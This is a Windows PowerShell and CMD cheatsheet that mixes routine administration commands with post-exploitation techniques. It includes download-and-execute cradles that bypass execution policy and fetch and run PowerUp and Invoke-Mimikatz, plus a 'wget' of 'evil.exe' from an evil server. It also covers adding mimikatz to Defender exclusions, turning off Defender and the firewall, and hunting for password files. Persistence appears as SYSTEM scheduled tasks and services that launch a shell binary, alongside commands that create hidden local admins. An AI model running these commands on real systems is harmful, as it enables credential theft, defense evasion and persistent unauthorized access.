Windows Command Line Cheatsheet

Powershell

Enable ISE using powershell

In the few months that I've been developing powershell, I've found the ISE to be incredibly useful. If you get on a new machine and the ISE isn't there, here's how you can get it going in the powershell terminal:

```
Import-Module ServerManager
Add-WindowsFeature Powershell-ISE
```

Securely store credentials in XML for Import

Start out by storing your username and password (in a SecureString format) in a PSCredential object:

```
$cred = Get-Credential
```

Next, go ahead and export your credentials to an xml file:

```
$cred | Export-CliXml <location>.clixml
```

Finally, when you need it, go ahead and import the credentials from the xml file and stored them in a variable ($cred2 in this particular scenario):

```
$cred2 = Import-CliXml <location>.clixml
```

Command output to file

Append this to whatever you're running to get the output in a text file:

```
| Out-File <location>
```

For example, if we want to run Invoke-AllChecks from PowerUp and capture output in `C:\temp\output.txt`:

```
Invoke-AllChecks | Out-File C:\temp\output.txt
```

Command output to clipboard

```
Command | Clip
```

Require powershell script run as admin

Add this to the top of the powershell file:

```
#Requires -RunAsAdministrator
```

Resource: https://serverfault.com/questions/95431/in-a-powershell-script-how-can-i-check-if-im-running-with-administrator-privil

Unzip file

```
Expand-Archive -Path myfile.zip -DestinationPath C:\temp\myfile
```

Resource: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.archive/expand-archive?view=powershell-7.1

Download file

```
$url = "http://192.168.1.3:8080/somebinary.exe"
$outpath = "C:\temp\somebinary.exe"
Invoke-WebRequest -Uri $url -OutFile $outpath
```

Another way to download a file

Run from cmd:

```
powershell -exec bypass -c "(New-Object
Net.WebClient).DownloadFile('http://192.168.1.3','C:\temp\launcher.bat')"
```

Download PowerUp with Powershell <= v.2.0

This will get you the PowerUp powershell script and put it in `C:\Temp`, or some folder that the user you're on has permissions to write to.

You can also modify this snippet to download files if `wget` isn't available.

```
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/
Privesc/PowerUp.ps1","C:\Temp\PowerUp.ps1")
```

one-liner alternative:

```
(New-Object
System.Net.WebClient).DownloadFile("https://raw.githubusercontent.com/PowerShellMafia/PowerSpl
oit/master/Privesc/PowerUp.ps1","C:\Temp\PowerUp.ps1")
```

another one:

```
powershell.exe -ep bypass -e IEX ((new-object
net.webclient).downloadstring('http://target.com:8080/robots.txt'))
```

Another to decode and execute a base64 powershell payload can be found here.

Using PowerUp

```
import-module c:\PowerUp\powerup.ps1
## Run all the checks
Invoke-AllChecks
```

PowerUp one-liner

Get PowerUp, run it, and output to a text file so we can read the output easily:

```
powershell.exe -NoP -NonI -Exec Bypass IEX
(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/
PowerSploit/master/Privesc/PowerUp.ps1'); Invoke-AllChecks > C:\Temp\PU.txt
```

Powershell MimiKatz

```
powershell.exe -NoP -NonI -Exec Bypass IEX
(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/
PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');
Invoke-Mimikatz
```

Tail a logfile

You can effectively tail -f the last two lines from a log file with the following:

```
Get-Content logfile.log -Tail 2 –Wait
```

Run Powershell Script to get around execution of scripts disabled error

```
powershell -ExecutionPolicy Bypass -File pwshscript.ps1
```

Download sysinternals

First you need to ignore ssl trust:

```
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
```

then you can download it:

```
(New-Object
System.Net.WebClient).DownloadFile("https://download.sysinternals.com/files/SysinternalsSuite.
zip","C:\Temp\sysinternals.zip")
```

Log script output to file

```
Start-Transcript -path c:\windows\temp\interesting.log -Append -force

# do stuff

stop-transcript
exit 1001
```

Useful powershell one-liners

Get hostname:

```
$env:computername
```

List local accounts on a system:

```
Get-WmiObject -Class Win32_UserAccount -Filter  "LocalAccount='True'"
```

Check if system is joined to a domain or a workgroup:

```
if ((gwmi win32_computersystem).partofdomain -eq $true) {
    write-host -fore green 'This system is on a domain' } else {
        write-host -fore red 'This system is part of a workgroup' }
```

Set environment variable:

```
$env:<name>="stuff"
```

Show env vars in running script:

```
gci env:* | sort-object <name>
```

Resource: https://stackoverflow.com/questions/39800481/display-all-environment-variables-from-running-powershell-script

Check if system is running a desktop version of windows:

```
$windesktop = (gwmi win32_operatingsystem).OperatingSystemSKU
-notmatch "(\b[7-9]|10|1[2-5]|1[7-9]|2[0-5])"
if ($windesktop) { write-output "OS is a flavor of Windows Desktop" }
```

Create new local user:

```
New-LocalUser -AccountNeverExpires:$true -Password ( ConvertTo-SecureString
-AsPlainText -Force 'somepassword') -Name 'someuser'
| Add-LocalGroupMember -Group Users
```

Create new local admin:

```
New-LocalUser -AccountNeverExpires:$true -Password ( ConvertTo-SecureString
-AsPlainText -Force 'somepassword') -Name 'someuser'
| Add-LocalGroupMember -Group Administrators
```

Resource: https://gist.github.com/ducas/3a65704a3b92dfa0301e

Get Windows kernel version

```
[Environment]::OSVersion.Version
```

Get list of IPv4 addr

```
(gwmi Win32_NetworkAdapterConfiguration | ? { $_.IPAddress -ne $null }).ipaddress
```

Set alias with powershell

```
Set-Alias -Name ts -value 'C:\Users\User\folder\binary.exe'
```

Change hostname

```
Get-WmiObject -Class Win32_ComputerSystem
$ComputerInfo.Rename("new_name")
```

Open file with notepad

```
Start-Process notepad "C:\Program Files\Bla\bla.txt"
```

Resource: https://stackoverflow.com/questions/42669962/open-file-in-chosen-application-in-powershell

List Exclusions in Defender

```
Get-MpPreference | Select-Object -ExpandProperty ExclusionPat
```

Resource: https://superuser.com/questions/1591375/how-to-retrieve-windows-defender-exclusions-by-powershell-without-truncation-out

Add exe to defender allowlist

```
Add-MpPreference -ExclusionProcess "C:\Temp\mimikatz\x64\mimikatz.exe"
```

Add extension to defender allowlist

This particular code will allowlist all files that end with a `.txt` extension:

```
Add-MpPreference -ExclusionExtension "txt"
```

Add folder to defender allowlist

```
Add-MpPreference -ExclusionPath "C:\Folder1"
```

Resource: https://www.msnoob.com/use-powershell-to-add-exclusion-folder-on-the-windows-defender.html

Stop and Start Defender

Stop:

```
Set-MpPreference -DisableRealtimeMonitoring $true
```

Start:

```
Set-MpPreference -DisableRealtimeMonitoring $false
```

Resource: https://superuser.com/questions/1046297/how-do-i-turn-off-windows-defender-from-the-command-line

CMD

Wget

```
wget http://<evil server>/evil.exe -Outfile evil.exe
```

Open command shell as a user

```
runas /profile /user:domain\username cmd
```

Open a powershell window as a user

```
runas /profile /user:domain\username powershell
```

Check Permissions for folder

```
icacls <path>
```

Netstat with findstr

This is an example of what I equate to running netstat and piping the results through grep in linux. This is probably closer to `netstat` with `grep`:

```
netstat -ano | findstr 443
```

Netstat with find

Another way to run `netstat` and `grep` for something. In powershell you need to escape the double ticks or it will throw an error:

```
netstat -anob  | find `"443`"
```

Check if RDP is enabled

```
netstat /p tcp /a |findstr 3389
```

Resource: https://serverfault.com/questions/541086/how-to-diagnose-rdp-with-commandline

Look for files with passwords

```
dir /b /s web.config
dir /b /s unattend.xml
dir /b /s sysprep.inf
dir /b /s sysprep.xml
dir /b /s *pass*
```

Disable firewall

```
netsh advfirewall set allprofiles state off
```

Search processes

Similar to using `ps` and piping the output to `grep` in linux:

```
tasklist | findstr processname
```

Make administrator user active

```
net user administrator /active:yes
```

Set user password to never expire

```
net user user /expires:never /active:yes /logonpasswordchg:no
```

Create Scheduled task

On start up as system:

```
schtasks /create /sc onstart /tn "NameofTask" /tr "C:\tools\shell.exe" /ru "SYSTEM"
```

To run every minute as system:

```
schtasks /create /sc minute /mo 1 /tn "NameofTask" /tr "C:\tools\shell.exe" /ru "SYSTEM"
```

List Scheduled tasks

```
schtasks
```

Delete Scheduled task

```
schtasks /delete /tn "NameofTask" /f
```

Create service

On start up:

```
sc create ServiceName binpath="cmd.exe /k C:\Temp\shell.exe" start="auto" obj="LocalSystem"
```

List Services

```
sc query
```

Query Service

```
sc qc ServiceName
```

-alternatively-

```
sc query ServiceName
```

Stop service

```
sc stop ServiceName
```

Start service

```
sc start ServiceName
```

Delete Service

```
sc delete ServiceName
```

Useful CMD one-liners

Open event viewer from cmd:

```
eventvwr
```

Open services msc:

```
services.msc
```

Lists all the service information for each process:

```
tasklist /svc
```

Kill a process by PID:

```
taskkill /pid <pid> /f
```

Kill firefox (or any process) by name:

```
taskkill /im firefox.exe /f
```

Delete a file:

```
del <file name>
```

List drives:

```
fsutil fsinfo drives
```

Show users with active sessions:

```
quser
```

or:

```
query user
```

Show active network sessions:

```
netstat -vb
```

Get last modified file in a directory (conceptually similar to ls -lart):

```
dir /O:D /T:W /A:-D
```

Rename file:

```
move file new-file-name
```

Show contents of file:

```
type file.txt
```

Current user and privilege info:

```
whoami /all
```

List users:

```
net users
```

List domain users and output to a file:

```
net user /domain > domain-user-list.txt
```

List domain controller the current system is authenticated with:

```
echo %LOGONSERVER%
```

Get FSMO roles for current domain (useful info about domain controller setup):

```
NETDOM QUERY /D:targetdomain.com FSMO
```

List all domain controllers in the current domain:

```
net group "Domain Controllers" /domain
```

Print password policy:

```
net accounts
```

Reboot system immediately:

```
shutdown /r /t 0
```

Query the registry:

```
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
```

Add a key to the registry:

```
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v
LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
```

Remove a key from the registry:

```
reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ /v hFaZvOAsF /f
```

Show environment variables:

```
set
```

How to `rm -rf`:

```
rd /s /q "path"
```

Reset IE Settings

To perform what the reset button does:

```
RunDll32.exe InetCpl.cpl,ResetIEtoDefaults
```

To delete all caches and settings “Also delete files and settings stored by add-ons”:

```
RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 4351
```

Resources https://stackoverflow.com/questions/4037939/powershell-says-execution-of-scripts-is-disabled-on-this-system https://4sysops.com/archives/use-powershell-to-download-a-file-with-http-https-and-ftp/ http://www.harmj0y.net/blog/powershell/powerup-a-usage-guide/ http://thepcn3rd.blogspot.com/2015/03/utilizing-powerupps1-to-escalate.html http://secvue.com/using-powerup-with-unquoted-service-paths/ https://github.com/cheetz/Easy-P/blob/master/easy_p.py https://blogs.technet.microsoft.com/rmilne/2016/06/03/powershell-tail-command/ https://trustfoundry.net/practical-guide-to-exploiting-the-unquoted-service-path-vulnerability-in-windows/ https://www.toshellandback.com/2015/11/24/ms-priv-esc/ https://blog.jourdant.me/post/3-ways-to-download-files-with-powershell https://www.youtube.com/watch?v=PC_iMqiuIRQ http://tweaks.com/windows/39559/kill-processes-

from-command-prompt/ https://stackoverflow.com/questions/43615726/who-command-in-windows https://www.windows-commandline.com/get-file-modified-date-time/ https://github.com/emilyanncr/Windows-Post-Exploitation http://www.itswapshop.com/tutorial/how-get-list-all-domain-user-accounts-command-line-windows https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/tasklist http://www.handgrep.se/repository/cheatsheets/postexploitation/WindowsPost-Exploitation.pdf http://www.networkpentest.net/p/windows-command-list.html [Creating scheduled tasks](https://www.ired.team/offensive-security/persistence/t1053-schtask) [Creating services](https://pentestlab.blog/2019/10/07/persistence-new-service/) [How to rm -rf](https://stackoverflow.com/questions/97875/rm-rf-equivalent-for-windows) [How to add a key to the registry via cli](https://superuser.com/questions/1621648/psexec-access-is-denied-on-domain-user) [Original Article](https://techvomit.net/useful-powershell-commands/)

Revision #2
Created 2023-11-10 06:31:40 UTC by Ryan
Updated 2025-03-12 18:15:22 UTC by Ryan